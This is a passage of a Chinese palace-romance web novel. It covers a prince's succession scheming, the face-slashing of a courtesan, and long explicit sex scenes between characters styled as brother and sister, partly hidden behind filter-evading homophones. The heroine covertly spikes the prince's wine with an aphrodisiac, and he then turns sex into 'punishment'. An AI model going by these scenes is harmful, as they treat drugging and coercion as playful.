颜嘉柔羞耻极了,她不知道为什么……一时只觉无地自容,哭着摇头道:“不……我不是故意的……” 萧彻慢慢笑了起来,低头轻吻着她红润的唇瓣:“我知道宝宝不是故意的,宝宝只是太贪吃了,所以才……是不是 说着一边慢慢伸手往下,怒删五百字。 萧彻唇边含着笑,习以为常地帮她擦拭完被……的口口,这才又着手正经地帮她上了一回药。 —— 不知睡了多久,颜嘉柔睡意朦胧中听见有人的交谈声,听声音是萧彻和薛止。 两人就在门口,这房间不大,那会儿又安静,颜嘉柔断断续续能听清两人在说些什么,似乎是关于萧衍的事。 薛止道:“主子,已经按照您的吩咐,给薛家送去了一百金,说是二皇子的一点心意。” “一百金,正好是花遥姑娘那日挂牌的价目。” “那晚被薛润薛公子一闹,这钱也不曾花出去。” “虽则是贵公子先行闹事,可二皇子说了,他毕竟错杀了贵公子,贵公子的一条命,自然不能轻飘飘揭过,这未曾花出去的一百金,便刚好用来赔罪,倒也不曾浪费,贵公子生前痴恋花遥姑娘,死后得了与其颇有渊源的一百金,也该感到慰藉了。” 薛止道:“主子,我便按照你教的这么说了。” 颜嘉柔睡意浓重,只强撑着听完这几句,便又再度睡了过去。只临睡前也曾模模糊糊地觉察出一丝不对:三哥不是帮二哥去摆平此事的么?怎么听薛止的这一番说辞,赔罪之意不显,反倒有几分激怒之嫌? 但她到底睡意朦胧,头脑并不十分清楚,也没法子仔细思量,何况她自认不算聪明,远远不及萧彻,她想他若是那么做,自然有他的用意,,便也没有多想。 —— 那厢薛止继续回禀道:“主子料得不错,那崔家人听完我的那一番话后,个个面色铁青,那崔钰更是直接挥手打翻了盛有一百金的漆盘,斥道:‘我润儿一条性命,难道只值区区百金?二殿下实在欺人太甚!’看样子,是决不会善罢甘休了。” 萧彻牵起唇角,低头摩挲着手上的白玉扳指:“不会善罢甘休么?” 他眸光一凛,只道:“要的就是他不会善罢甘休!” “崔钰虽已致仕,朝中却仍有门生,他既不肯善罢甘休,自然会动用关系,不惜一切代价弹劾萧衍。” “等着看吧,我们回京之后,该有一场好戏要上演了。” 他道:“京中传来消息,萧珏已然坠马,且伤的不轻,该是要落下残疾了。” “一个废人,又怎堪储君之位?” “至于我的好二哥,背了人命,德行有亏,兼之背上弑兄的罪名,更是无缘太子之位了。” 他慢慢地仰起头,长眉微敛,深深地一闭眼:母妃,孩儿离你所想的那个位置,已经越来越近了,你在天有灵,会感到开心么? —— 萧彻刚进客厅时,一个刻有缠枝纹的茶盏正好碎在他靴前。 他一挑眉,抬头望向坐在正中圈椅上的萧衍,似笑非笑道:“二哥,谁又惹得你生气了?” “谁?还不是花遥那个贱人!” 萧彻眉心微蹙,不动声色地在他身边落座:“花遥姑娘?” “可还是那晚在万花楼错杀薛润之事?可是二哥,你不是将这事交由我去做了么,怎么还为此劳神?” “三弟,薛家的事,既由你出面去替我摆平了,我自然也懒得再过问。只是花遥……说起来便是一肚子气,其实我一早就觉得此事有蹊跷,怎么那薛润来找我时,状若癫狂,举止有异,竟像是吸食了诸如五石散之类能让人发狂的药物,所以才会变得异常亢奋激进,同时反应又十分迟缓……” “才会一改常态,敢顶撞激怒我,却又不去躲避我的击打,以致最后死于我手。” “加上他那时信誓旦旦地说,花遥今晚与他有约,是我夺人所爱,那副目眦欲裂、义愤填膺的样子,不像是作假……” “我便怀疑,这背后有人在捣鬼,而花遥便是那人的棋子。” “原本我也只是猜测,毕竟我对美人向来怜惜有加,又怎会行逼问之事?谁知道那个花遥竟敢戏弄我,明明前几日还十分热情,昨日我再去找她,竟是一副死人样,摆明了这其中有猫腻!” “我还是第一回被女人这般耍弄,当下便将人带回去拷问,非要逼出那幕后之人是谁,多半便是萧珏了!” “谁知花遥瞧着柔柔弱弱,却是个硬骨头,女子最爱惜容貌,我划烂了她的脸,她竟也不说一个字,我一时真不知拿她如何是好了。” 萧彻闻言倒茶的动作一顿。 他慢慢将茶盏搁置,抬头看向萧衍道:“二哥,放了她吧。” 萧衍一愣:“三弟,你说什么?” “她是万花楼的花魁,容貌何其重要,如今被你划花了脸,万花楼是断断不会容她了,她再无立足之地,也无容身之所,更无傍身之物,若二哥想出一口恶气,她如今的下场,岂非比死更来得让人解气?” “很多时候,死并不是最可怕的,在对付萧珏之时,二哥便深暗此道,不是么?” “既撬不开口,便放了她吧,二哥手上,总不至于真的沾上女人的血吧?” 萧衍喉结滚动,眸色几番变幻,到底还是一挥手道:“算了,三弟说的有道理,她落得如今的下场,不人不鬼,我心中的那口恶气也出了。到底是我曾看上的女人,我也不想做得太绝。这么多年来,我对我身边的女人一向宽宥,倒也没必要为她破例。” “好了三弟,我回去放了她便是,之后她是生是死,都与我无关了。” —— 城外的一间别院外。 细雨如丝,萧彻穿了一件雨过烟青色的长袍,手执着一柄油纸伞,雨水顺着伞脊缓缓下滴,伞面微微倾斜,露出青年无比俊美的面容。 他低头将手中的一个铜匣交于眼前梳双丫髻的小丫鬟,道:“这里面装有这间院子的地契和一些银票,银票的数额足够你和你家姑娘余生的吃穿用度,她既不愿见我,这东西便请你代为转交给她。” 小丫鬟接过匣子,抬头偷偷看了他好几眼,磕磕绊绊道:“我……我知道了,多谢公子。” 萧彻略一颔首,道了声“不必”,便要转身离开。 小丫鬟呆呆地看着他,忽然反应过来,想起花遥的嘱托,连忙叫住他道:“公子,等等!” 萧彻回过身来:“还有事?” 小丫鬟连忙从怀里掏出一方绣帕,递给萧彻道:“公子,这是我家姑娘托我转赠给你的,她说……她说她身子不便,不能来见公子,但今日一别,恐无相见之期,她与公子相交一场,也算是有缘,便赠公 子一方亲手缝制的绣帕,也算是留作念想。” 萧彻微微蹙眉,并未伸手接过。 小丫鬟见状立刻道:“姑娘说,你若是惦念着她拼了毁去容貌,也未曾将您招供的情份,便请收下吧。” 萧彻眸光微动,到底还是伸手接过了:“好。” 他将那方绣帕攥在手中,余光瞥见绣帕一角用画绣绣了“花遥”二字,极为精工细致。 —— 小丫鬟回了房内,见花遥一脸落寞地倚靠在窗前,怔怔地目送萧彻离去。 直到他的背影彻底消失不见,她才收回视线,黯然地垂下眼眸。 红玉走到她身后,将手中的披风披到她身上,轻轻叹口气道:“姑娘,红玉不明白,您既然那么不舍他,方才他前来探望,您又为何拒不相见呢?” 花遥伸手抚上脸上那条从眼尾延伸至唇角的狰狞疤痕,唇边泛上一抹苦涩笑意,自嘲道:“见他?你以为我不想吗?可你看我如今这副样子,不人不鬼,我有什么面目去见他?” “他是什么样的人物,你方才也见到了,便是从前我容貌未被毁时,在他面前我亦觉自惭形秽,更遑论如今这副残破面容,何苦吓他。” “虽则今日一别,往后再难相见,我却也宁可不贪恋这最后一面,只求那方绣帕能替我长久地陪在他身边,我看的出来,他是守诺的,或许多年以后,他整理旧物时,翻出那方绣帕,偶然间想起我时,我希望仍是记忆中初见时的模样,而绝不是现在这副可怖残容。” 红玉闻言一时无话,良久之后,只闻一声轻叹。 —— 花遥倚坐在窗边,手中拿着一个绣绷,低头正在绣着什么。 红玉站在身后,忍不住伸长脖子去看,见是两行字。 仿佛是一句诗。 红玉仔细瞧着,忍不住喃喃念出了声:“对景谩倾银瓮酒,看花遥想玉京人。” 花遥忽然顿了一下,耳边红玉略显稚嫩的语调似乎变得模糊而混沌,逐渐远去,取而代之的,是男子清冽好听的嗓音。 如碎玉落落盘,风过竹林。 他微微一笑,道:“对景谩倾银瓮酒,看花遥想玉京人——可是花遥姑娘?” 她记得她那时怔然地抬头。 惊鸿一瞥。 自此便入了魔障。 窗外的雨,终于越下越大。 花遥忽然之间,泪如雨下。 第88章 第88章给萧彻下药。 萧彻回去之后,才刚进门,就被颜嘉柔扑了个满怀。 小姑娘将脸埋在他的胸口,双手紧紧环住他的腰身,声音闷闷的,听上去颇为委屈。 “萧彻,你去哪里了,为什么让我醒来找不到你?” 自从和他有过那夜之后,她就变得愈发黏人了。 至于萧彻,他得到了她,对她便更多了几分纵容与宠溺。 摘星挽月,亦不在话下。 他一手回揽着她的腰身,另一只手抬起揉了揉她的脑袋,似笑非笑道:“怎么,想我了?” 颜嘉柔身子一颤,却也没否认,只将脸埋得更深了,半晌后轻轻“嗯”了一声。 萧彻勾起唇角,低下头,故意凑到她耳边暧日未道:“哦?想我哪儿啊。” “我……我不知道……” “不知道?宝宝,连想我哪儿都不知道,你怎么敢说想我的?分明,又是在骗我。” “呜呜,不是的……”小兔毕竟道行浅,三言两语间便掉入了大尾巴狼的陷阱,为了自证并非哄骗,只能道:“是……是哪儿都想……” 听到了令人满意的答案,萧彻愉悦地弯起唇角:“哪儿都想?便也包含那儿了,是不是?啧,宝宝好馋啊,明明昨晚才刚刚喂饱……” 那儿是哪儿,即便萧彻不明说,颜嘉柔这时也不可能不知道那是哪里,当下一张雪白的面皮涨得tong红,只是杵在原地,死活不肯抬头。 萧彻轻笑了声,手账摩梭着她的月要窝,哑声道:“宝宝,你该不会是想在这里,告诉我你到底有多想我吧?” “什……什么……哥哥,a!” 颜嘉柔尚还未反应过来,身子便突然腾空,她惊呼出声,下意识地搂紧萧彻的脖子。 萧彻将人打横抱起,一路走到两人的房间。 刚一关门,依山还未褪j,颜嘉柔便被萧彻抱到桌案上糙侬了一回。 颜嘉柔双推紧紧还着他的yao身,被迫身体力行地证明了一回她到底有多想他。 之后他托着她,维持着胶何的滋事,慢慢朝床榻边走去,每走一步,颜嘉柔都忍不住呜咽一声,等被扔到榻上,已是全身缠斗着神志不清了。 她在床上又被大开大合地糙侬了两回,之后被萧彻捞起去浴桶里泡了个澡,他被萧彻打横抱在怀里,低头望向浴桶时,虽则迷迷糊糊,却也觉出几分不对劲——这个浴桶,怎么这般大。 不过当萧彻抱着她一起跨入浴桶中时,她想她已经知道了。 萧彻和她一起进浴桶,想也知道不可能只是泡澡。 只是萧彻……全删……。 他从身后环着她……全删……:“心肝,我早就想在水里……” 他的大手肆意地……问她:“宝宝,你知不知道你什么时候最美?” 颜嘉柔双手撑在桶沿上……全删……死死咬着唇瓣,就是不开口。 想也知道萧彻问她这种问题,答案绝不会是什么好话。何况只要她一开口,便会泄露……全删…… “小兔学乖了。”萧彻轻笑了声:“知道不回答三哥的话了,不说不错,是不是,嗯?” “可惜,不是小兔不回答,便可以揭过去的。” 他凑至她耳边,低笑一声,慢慢地道: “就是现在,被我干得面色酉它红、如痴如醉的时候。” 颜嘉柔忍不住呜咽道:“你,你别说了……” 萧彻弯唇,轻yao着她的耳廓:“好,不说了,专心干。” 这般也不知胡闹了多久,等到浴桶里的水彻底变凉,萧彻才把人从水里捞出来,擦拭完水渍后一件一件地为她穿上衣衫。 原本今日的取药到这时也该结束了,偏颜嘉柔担心他这般毫无节zhi,身子受不住,便想起前几日去庙会时从游医那里买到的药粉,前几日萧彻忙着给萧衍摆平错杀崔润一事,她怕耽误他正事,一直没寻到合适的时机下//。药。 如今听说事情已经摆平,便趁着用晚膳的时候随意找了个借口支开萧彻,偷偷往酒里下了药。 她不在菜里下药而是在酒里,是因为萧彻让人备下的菜一向都是她爱吃的,何况她也从不挑食,她什么都喜欢吃,所以才会从小被养得白白胖胖,当然了,她最喜欢吃的还是甜食! 但她不喝酒噢,所以药下在酒里,最合适不过了,反正她不喝酒也没什么奇怪的,她本就不喝酒么。 结果谁知道人算不如天算,这天萧彻非缠着要和她喝合卺酒,斟了一杯递给她,笑微微地看着她,说是要与她一同喝下。 可她怎么能喝!那是给男子补身子用的,她若是误喝了,指不定会出什么岔子。 萧彻见她那般犹豫抗拒,当下面色便慢慢冷了下来,嗤道:“怎么,皇妹不愿和我喝,难道之前在床笫之间的甜言蜜语,都只是用来哄骗我的?要了我的身子后,便想始乱终弃?” 他低 头缓缓摩挲着杯壁,故意不阴不阳地道:“皇妹,那晚你也看到我手臂上的守贞砂了,我给你的,可是清白的身子,你夺了我的清白,难道不应该给我一个交代么?还是说,你只是想故意骗我身子,就像当初对萧珏说的,从头到尾都只是利用我,是不是?” 萧彻左一句“始乱终弃”,右一句“骗他身子”把颜嘉柔说得几乎无地自容,她着急地想要辩驳,不住地摇头道:“我……我没有……没有,呜呜,我不是那种怀女人,你信我……萧彻,我怎么会不想和你喝合卺酒呢,我只是,我只是……” 萧彻蹙眉:“只是什么?” 颜嘉柔一时想不到合适的借口,只能道:“我……我不能说。但是你信我,我绝对不是想始乱终弃,” 小姑娘雪腮鼓起,定定地看着萧彻,目光前所未有的真挚:“我,我会对你负责的!” 萧彻笑了下,伸手捏了捏她丰盈雪白的脸颊:“傻子。” 目光在她脸上逡巡,他不动声色地审视着她,发出一声意味不明的轻笑。 在确认她真的没有说谎后,他略一挑眉:“不是想始乱终弃,那是?” 他“嘶”了声:“让我猜猜,既然不是始乱终弃,却又不肯和我喝合卺酒——莫非是你在我酒里下了药,所以自己不肯喝,是不是?” 颜嘉柔惊讶之余,脱口而出道:“你……你怎么知道……” 说完才意识到她说了什么,连忙于事无补地捂住嘴巴。然而到底是无用功,这会儿便只能哀哀地看着他。 萧彻轻扯了唇角,手肘抵在桌案上,一手支撑着侧脸,好整以暇地看着她:“小兔,还是这么单纯,轻轻一诈,便什么都招了。” 他屈指轻扣着桌案,微微笑道: “说说,为什么给我下药?怎么,不是始乱终弃,是想先女干后杀,斩草除根?” “什么……萧彻,你又乱讲话……”颜嘉柔面色微红,有些不高兴地反驳道:“什么先女干后杀,你……你明明是自愿的……” “哦?”萧彻点了点头,一本正经地做了修正:“那就是先睡后杀,谋杀亲夫。” “什么!”颜嘉柔终于反应过来,张牙舞爪地去打他:“什么女干,什么睡,这不是重点,重点是,我什么时说过……要杀你了!没有谋杀亲夫,萧闻祈,你不要乱讲!” 萧彻唇角轻抬,伸手挠了挠她的下巴,继续逗兔:“没有谋杀亲夫,因为没有说过要杀我,那么,便承认我是‘亲夫’了?” 颜嘉柔愣了一下,面颊染上薄粉,宛如胭脂色一般,越发衬得一张脸艳若桃李,她浓睫轻颤,拨弄着手指,只低低地道:“我……我也没有否认过呀……” 萧彻眸色深暗了一瞬,喉结上下滚动,将人一把捞起揽入怀中,让她坐在他的膝上。 他从身后环住了她,下巴枕在她的颈侧,温熱的气息倾吐在她耳后,:“到底给我下了什么药,祖宗,你还要我自己去查么?” 颜嘉柔无法,便只能从实招来,将那天遇到道清之事,以及他对她说的那些话,一五一十地,全都告诉了萧彻。 萧彻听完后忍不住笑出了声,虎口钳过她的下颌,将她的脸扳了过来:“房事过勤,担心我亏空了身子,所以要提前进补,吃了他所谓的药粉后便能长枪不倒,再无后顾之忧——笨兔子,这种鬼话你也信?” “那人家也是担心你嘛。”况且我有这种顾虑,也很正常啊……我们确实……过度了些……” 映雪跟她说过,话本里描写的云雨之事,都是往夸张了写的,实际往往并非如此,可她与萧彻行事,比话本里有过之而无不及。 那岂不是大大的夸张! 萧彻拇指缓缓摩挲着她的唇瓣:“是担心我,还是你自己?担心我喂不饱你,所以才轻信那个江湖术士的鬼话,给我下来历不明的药,是不是?” 他的气息越发逼近了她,鼻尖蹭着她白腻的颈侧,发出意味不明的轻哼:“宝宝,我究竟是哪里做的不好,让你产生这样的错觉,觉得我喂不饱你,嗯?” 颜嘉柔本能地察觉到一丝危险,加上萧彻蹭得她有些痒,她忍不住偏过头去:“没有,哥哥……你做得很好……” 却在下一刻,又被他的大手给扳了回来:“是么,那有喂饱你么?” 有……有喂饱我……” 萧彻指背缓缓划过她的脸颊:“既然有喂饱皇妹,那为什么还要给我下//。药?” 颜嘉柔终于受不了了,眼圈红红的,美眸蒙上一层水色,可怜兮兮地道:“我错了哥哥……” “哦?”萧彻慢条斯理地道:“错哪儿了?” “错在不应该给哥哥下//。药……” “又错了宝宝。” 萧彻在她耳边闷笑一声,嗓音喑哑:“是错在不应该怀疑我不行。” 他动作极温柔地抚过她的脸颊:“既然知道错了,那么做错事,就应该接受惩罚,是不是?” 颜嘉柔:“呜。” 第89章 第89章“做错事就要接受惩罚,…… 危险的气息越来越浓重,她下意识地就想逃,腰肢却被萧彻的大手箍住,他明明并没有用什么力气,她却半点都挣脱不了,只能软声求饶道:“哥哥……” “说了做错事就要接受惩罚,宝宝。” “你不是担心我日后不行满足不了你么,小兔有心事了,这怎么行,做三哥的,总得帮你打消这个顾虑才行。” 颜嘉柔都快哭出来了:“呜呜,没有……没有这个顾虑……” 萧彻轻笑了声,执起那只酒杯在她眼前晃了晃:“没有顾虑?那这个是什么?” 望着眼前的“罪证,”铁证如山,颜嘉柔一脸的心如死灰,但仍不忘垂死挣扎道:“爱你才会这样啊……” 本来就是,她是担心他总是蛇精,身子被她弄虚了,才会给他下药啊。若是不爱他,才不会管他死活呢!萧彻居然还要惩罚她…… 这么想着,竟涌上了天大的委屈。 萧彻挑眉,摩挲着她的下颌,要笑不笑地道:“爱我?你明知我对你不设防,你还随意轻信别人,给我下这种来历不明的药,若有人想害我,只需从你这里下手,必然无往不利,届时你便知追悔莫及四个字,究竟是何种滋味。” 颜嘉柔不服气地瘪起嘴:“我哪里有那么笨……” “我们颜颜不笨,”萧彻伸手刮了一下她的鼻子,一脸宠溺道:“只是自小,便不是太聪明。” “那怎么办呢……” “不用怎么办,小兔无忧无虑的不好么,我会永远保护好你,你什么都不必担心。况且笨一点,自然有聪明人替你做事,我们颜颜,天生便是享福的命。” “哼哼,别以为我听不出来,你是在拐着弯地骂我笨!讨厌死了。” “没人说你笨,”萧彻轻轻蹭了蹭她的脸颊,柔声道:“三哥的意思是说,便是不够聪明,也没什么。聪明一点固然好,可也有慧极必伤的说法,可见也不全然都是好处,既如此,何必非要聪明。我们颜颜只需要永远开心快乐便足矣。只一点,你要永远相信我,绝不能因为旁人的三言两语便怀疑我,知道么。” 颜嘉柔懵里懵懂地点了点头:“知道了,哥哥……” 萧彻似笑非笑地看着她:“真的知道了么?不吃点教训,小兔只怕不会长记性。” 颜嘉柔瑟缩了一下,惴惴地问:“什……什么教训?” “你说呢,嗯?” 萧彻晃了晃手中的酒杯:“我方才说,要你往后不要轻信他人,你真的听懂个中意思,往心里去了么?还是只是随口敷衍我,小和尚念经,有口无心?” “便譬如这杯酒,你轻信了江湖术士的话,在酒里下了药,又怎知这药究竟有什么功效,是否对身子有损害?说不定是穿肠的毒药呢?” 小姑娘闻言小脸吓得煞白,连忙反驳道:“不会的……怎么会有毒呢?即便没有他吹嘘的功效,也总该不会有毒,我们和他无冤无仇,谋财便是,何至于害人性命呢。” “怎么不会?颜颜,你要知道,这世上根本没有他说的那种药,只需要区区一包药粉,便可一劳永逸,从此精力无限,哪有这样的药呢?若他真有这样的本事,只怕早成了太医院的院判,何至于还做区区一介游医?” “既是没有真才实学,全靠招摇撞骗,那他给你的药究竟是何种成分,谁又说得准,江湖术士,多的是下手不知轻重,不懂药性相冲之理,抑或是哪味药下重了,药死个把人,那也是常有的事。决不是你口中的‘何至于害人性命’。” 颜嘉柔脸色骤变:“这么严重……” 她这会儿难免有些后怕:“萧彻,还好你没有喝……对不起,你不要生我的气……”她微微扭过头,轻轻拽了拽他的袖口,眼圈立时便红了,可怜兮兮地道:“我不是故意的……” 萧彻爱怜地亲了亲她的唇角:“宝宝,没有怪你。只是这种事,终究还是得让你长个记性才是。” 颜嘉柔懵懂地看着他。 萧彻勾起唇角,把那杯酒放到鼻下轻轻嗅闻了。 熟悉的气味扑鼻而来,他微微眯起眸子,嗤笑了声:“这个倒不至于药死人,不过是一种烈性椿药罢了。” 颜嘉柔瞪圆了眼睛:“烈……烈性椿药?”她还是觉得不可置信,便忍不住多问了一句道:“你……你怎么知道?” “我怎么知道?自然,是曾经也险些中招了。” 颜嘉柔还想再问,但显然萧彻并不想多说。 他轻轻晃荡着手中的酒杯,慢慢笑了起来,一张脸俊美无俦,仿佛山中的精魅,妖冶中又透着邪肆,颇有几分蛊惑人心的意味,危险却又实在迷人:“好了宝宝,我方才说,总要让你吃点教训,才会长记性,可不只是说说。况且,做错了事,总该付出点代价,不是么?” “宝宝,我的意思是,惩罚时间,到了。” 话音刚落,他当着她的面,将那杯下了烈性椿药的酒缓缓喝了下去。 颜嘉柔猛地瞪大了眼睛,全身的血液都往上冲,一瞬间惊不能语。 萧彻是疯了么……他明知道那是什么,他居然还…… “宝宝是在担心我么?” “真善良啊宝宝。” 他慢慢笑了起来:“不过与其担心我,宝宝还是多担心多担心自己吧。” 担心自己?颜嘉柔茫然地看着他,不明白明明是他饮了药酒,为什么她要担心自己? 然而看着萧彻那双蓄满玩味笑意的眼眸,她恍然间明白了什么…… 萧彻他……根本就是故意的! 中了椿药,必然需要解药!解药在哪儿?她不就是现成的! 可萧彻他平日里就那般重玉,她再怎么努力地去蛮族他,到底是血肉之躯,终究还是会受不了,因此他也从不尽兴。若是中了椿yao,那还不将她。死在创上。 意识到事情的严重性后的颜嘉柔吞咽了一口口水,下意识地便想逃,可身子却已经被他腾空抱起。 萧彻抱着她大步流星地往前走,及至走到榻前,双手一松,将人扔在了柔软的榻上。 颜嘉柔陷进柔软的被褥之中,整个人还尚且未反应过来,男人便已覆压了下来。 身上的衣裙被一间间博拓下来,露出白哗哗的一身披柔,小兔从小便被养得很好,是真正的娇生惯养,便养成了一身薛白悉尼的披柔,丰裕莹润,肤如凝脂。 萧彻侧支着身子,好整以暇地欣赏着她诱人的月同题,手指轻划过她的审题,所到之处,无一不激起她的细微禅理。 “呜呜,哥哥……佯……” 萧彻指尖一顿,“哦?”了一声,故意问她:“哪里佯?” 可怜的嘉柔,被萧彻这般肆意地条豆,只能死死咬着唇瓣,不至于泄露什么羞人的声影。 等到萧彻终于放过了她,她的盛夏早已一塌胡图。 她眼神市焦地望着头顶的承尘,眼尾泛弘,檀口微张,暴涨的凶月甫上下起伏,整个人止不住地川西。 好不容易回过神来一点,她趁着萧彻解依的当口,想偷偷溜下床去。 她小心翼翼地起身,跪在床榻之上,悄悄地往前爬挪。 一点……又一点……眼看离床沿越来越近,而萧彻似乎还没有发现,她不禁有些得意,然而就在她一只脚往下踩,即将下床的前一刻,另一只脚的脚腕却忽然被人握住了。 萧彻捏着她薛白纤细的脚腕,轻轻摩挲,药性已显,他的嗓音浸染了情玉,显得格外低哑:“宝宝,去哪儿?” 嘉柔脑袋顿时一片空白,眼睁睁地看着萧彻捏着她的脚腕,不费吹灰之力地将她拖了回去:“呜呜,哥哥……” 之后便是不出意外的,狠狠地挨了一顿漕。 药性的加持下,她明显感觉到萧彻比平时更凶了,而且几次之后,也完全没有停下来的意思。 她简直是欲哭无泪,也真真切切地感受了一番什么叫做自食恶果。 当然在挨漕的过程中,她最埋怨的并不是明知那酒下了椿药,却依旧饮下,到如今双目赤红,在她身上肆意挞伐的萧彻,在尚残存有一丝力气时,她甚至还贴心地抬手替他擦拭汗水。 她最痛恨的,当然还是那个无良的江湖游医! 什么江湖游医,分明是个江湖骗子! 都是他骗她买什么破药,才会害得她被萧彻爆炒。 呜呜。 这一番折腾直到天黑,颜嘉柔晕过去又醒过来,不知道过了多久,只记得中途暂停时,迷迷糊糊地被萧彻喂了几次糖水,便又继续了。 到结束时,外面传来三更的梆子声,她整个人像是从水里捞出来似得。 餍足的萧彻心情大好,将小兔捞起和他一起洗了个鸳//。鸯//。浴。 当然洗着洗着她又莫名其妙挨上漕了。 最后被重新抱回创上时,浑身上下连一丝力气也没有了。 萧彻侧躺在她身边拈起一缕她的头发,放在鼻端嗅闻了,上面残留着茉莉花的味道,这是她一贯用的花露:“好香啊宝宝。” 他低头嗅闻着她的颈侧,轻轻蹭了蹭她的面颊:“谢谢宝宝,今天zuo的很慡。” 颜嘉柔将脸别了过去,闷闷的不说话。 萧彻神色一顿:“怎么了,宝宝生气了么。” “没什么……”她的嗓子哑得不像话:“就是没什么力气讲话……” 生气谈不上,因为她设想了一下,倘若萧彻没发现她下yao,按照她之前所预想的那样,喝下那杯酒,那么结果也是一样的。 要怪,就怪那个该死的江湖骗子,别再让她再碰到他! 第90章 第90章变着法儿地欺负小兔。…… 她重新转头看向萧彻,欲言又止道:“我只是担心你这样……会对你的身子不好……” 萧彻低笑了一声,把玩着她的手,低头一根根亲吻着她的手指:“都被我干成这样了,还担心我呢。” “放心,宝宝,我是不是没有跟你说过,兰陵人在许多地方都异于常人,自然也包括那方面。” “你担心的问题,永远不会发生。兰陵人的口口,取之不尽,用之不竭。放心,缺不了你的药。” 颜嘉柔惊讶地睁大了双眼,嗔怪道:“你……你不早说!” “你也没问我啊。我以为你被我。了这么多次,该是清楚我的。谁知道小兔那么笨,宁可相信那些个江湖术士的鬼话,也不相信自己的三哥,自己的男人,嗯?” 嘉柔闷闷地道:“那我也是关心则乱么……” 萧彻指腹划过她的脸颊,低笑了一声:“那现在呢,总该相信我了?我们小兔的顾虑,打消了没有?” 嘉柔忙不迭地道:“打消了,打消了,打得可太消了……” “真的,那,长教训了没有?往后还会不会轻易听信旁人的话,来怀疑自己的夫君?” “呜。”嘉柔颤 声道:“再也不敢了……”她实在被漕怕了。 萧彻忍不住弯了唇角。 他俯下身,一点一点地亲//。吻着她,从眉心到鼻端,再到唇瓣……一路往下。 嘉柔一身原本薛白无暇的披柔,如今……全删……, 恰如雪地里绽放的点点红梅,有一种勾人的靡丰色。 萧彻这般看着,便觉口干。 “宝宝,”他的吻落在了她的……全删……含混地道:“这些天以来,我喂了你这么多……,投桃报李,你是不是,也该喂我点什么。” 嘉柔美眸浮上水汽,川西着道:“什……什么……” 萧彻勾唇:“口好渴,想he宝宝的汝之。” “可……可是我现在没有……” “骗人,”萧彻轻咬了她的耐碱,故意逗她道:“宝宝的柰梓着麽嗒,里面肯定装满了汝之,怎么会没有?” 嘉柔都快哭了:“真……真的没有……” 说着像是为了自证,当着萧彻的面开始动手既自己废都都得柰梓:“你看,真的没有,一点儿都既不初莱……”看得萧彻眼神又幽安了几分。 他滚动了喉结,哑声道:“好了宝宝,别既了,都宏了,我又没说不信你。” 他没忍住轻口勿了一下她的唇角:“宝宝,你怎么这么可爱?是不是故意的?想可爱死我,是不是?” “我有没有告诉过你,在我面前不能这么可爱,因为,我会很想欺负你。” 他说着捏了捏她的脸,又将手陇在她的身前,肆意地鞣恰:“就像这样,嗯?” “说起来,既然颜颜现在没有汝之,那等以后有了,会给我么。” 嘉柔愣了一会儿,而后面颊染上绯红,似乎难以启齿,但还是缓缓点了点头。 萧彻挑眉:“真的,不骗我?那要我等到什么时候?” “这……”她居然真的认真地想了想,而后似乎有些为难地道:“我也不能确定具体的日子,毕竟这种事……我一个人也说不准,除了我之外,还要看你呀,嗯……还有要看上天的安排,不是我一个人说了算的……” 萧彻这会忙着玩儿她的柰梓,原本也没怎么仔细听,尤其是她说了这么一大段,更是没来得及分辨其中的意思,便只轻轻皱眉道:“你叽里咕噜地在说什么呢,我怎么听不懂?” “我……”嘉柔涨宏着脸道:“我是说,等我淮运生子后,我才有汝之……给你……” “哦?可那个时候,你该是会将汝之留给我们的亥子,又怎还会轮得到我?” “我……我想,该是够的……” 萧彻挑眉,玩味道:“宝宝是说,你的汝之该是够我和小宝宝一起口允饮?” “嗯……” “为什么?”萧彻笑得戏谑:“因为宝宝的柰梓大,所以汝之一定很多,是不是?” 嘉柔羞耻到了极点,但实在被问得没有办法,便只能呜咽着点了点头。 萧彻带有安抚意味地亲//。吻了她的额头:“宝宝好乖啊。” 他逗她到了这种地步,却仍是不打算停手:“那……倘若不够呢,该怎么办?” “我……”嘉柔一怔,茫然地看着他,半晌后咬着唇瓣道:“那……那就给孩子找个汝娘……” 宫中的皇子公主,大多都是有汝娘的,这原本并不稀奇,只是在眼下这样的情境中,从颜嘉柔的口中说出来,还是让萧彻颇为意外:“你是说,倘若你的汝之不够,你宁愿给孩子找汝娘,也要将那有限的汝之给我?” 颜嘉柔点了点头,仿佛并没有觉得有什么不对:“哥哥不是一直想要么……你如果想要,而我又有的话,我自然愿意给你,事到如今,我什么都愿意为你去做。很多事情,我即便十分害羞,可如果你想要的话,我……我没什么不能做的……” 萧彻喉结滚动,深深地看了她一眼:“即便是与你日后的孩子抢东西么?” 嘉柔看着他,忽然笑了下:“哥哥,那也是你的孩子啊……倘若非要比较的话,你与它之间,我自然更爱你。我是因为先爱你,才会想有它,也才会爱它。” “至于抢东西……这世间万物,我最爱你,我的一切,自然也都属于你。” “没有人能比得上你在我心中的地位,包括我们日后的孩子。” 萧彻眸光微动,终于再也按捺不住心底的悸动,深深地吻了上去。 “宝宝,”他轻咬着她的耳廓,哑声道:“这样的话真好听……” 只不过甜言蜜语也只唤醒了萧彻片刻的良心,他很快便又想到了该如何继续好好欺负小兔。 “宝宝现在没有汝之给我,没关系,喂我别的也可以。” “什……什么……” 萧彻勾唇,在她的耳边轻声说了一句什么,颜嘉柔的脸便以肉眼可见的速度变红了。 她只觉羞耻到了极点,小声嗫嚅道:“这……这怎么……怎么行呢?” “为什么不能?宝宝吃了那么多回我的东西,于情于理,也该让我吃上一回,是不是?” “可是……我……” 她嘴巴笨,总是说不过他。 颜嘉柔最终还是被萧彻磨得没办法,让他俯身吃…… 帐内热浪浮动,……全删了还标黄为何…… 房间内的蟠螭金炉袅袅吐着白雾,混着换哎过的暧没气息,有种靡艳的甜香。 铜漏滴到子时一刻时,最后一缕香灰从金炉孔眼飘落。 一室寂静,只余……全删…… 嘉柔白皙的手指槎汝他漆黑的发……全删…… 终于在艺真金銮后,底夏涌楚…… 然而这次未及尽头被褥,便已全部刘茹萧彻的口中。 萧彻喉结滚动,将其悉数验下。 “宝宝好甜啊,谢谢宝宝,好解渴……” 萧彻轻笑了声,将一截……全删…… “宝宝,尝尝……全删……” 嘉柔被欺负得泪眼婆娑,眼尾泛着绯红,仿佛沾染了揉碎的凤仙花汁液,鼻尖微微抽动好不可怜。 只是事已至此,也只能继续任他摆弄:“呜呜,哥哥……” …… 淮州的事情基本已经了结,萧彻一行人收拾好行囊,准备不日归京。 不想突逢暴雨,瓢泼而下,寸步难行,一行人不得不暂缓离淮。 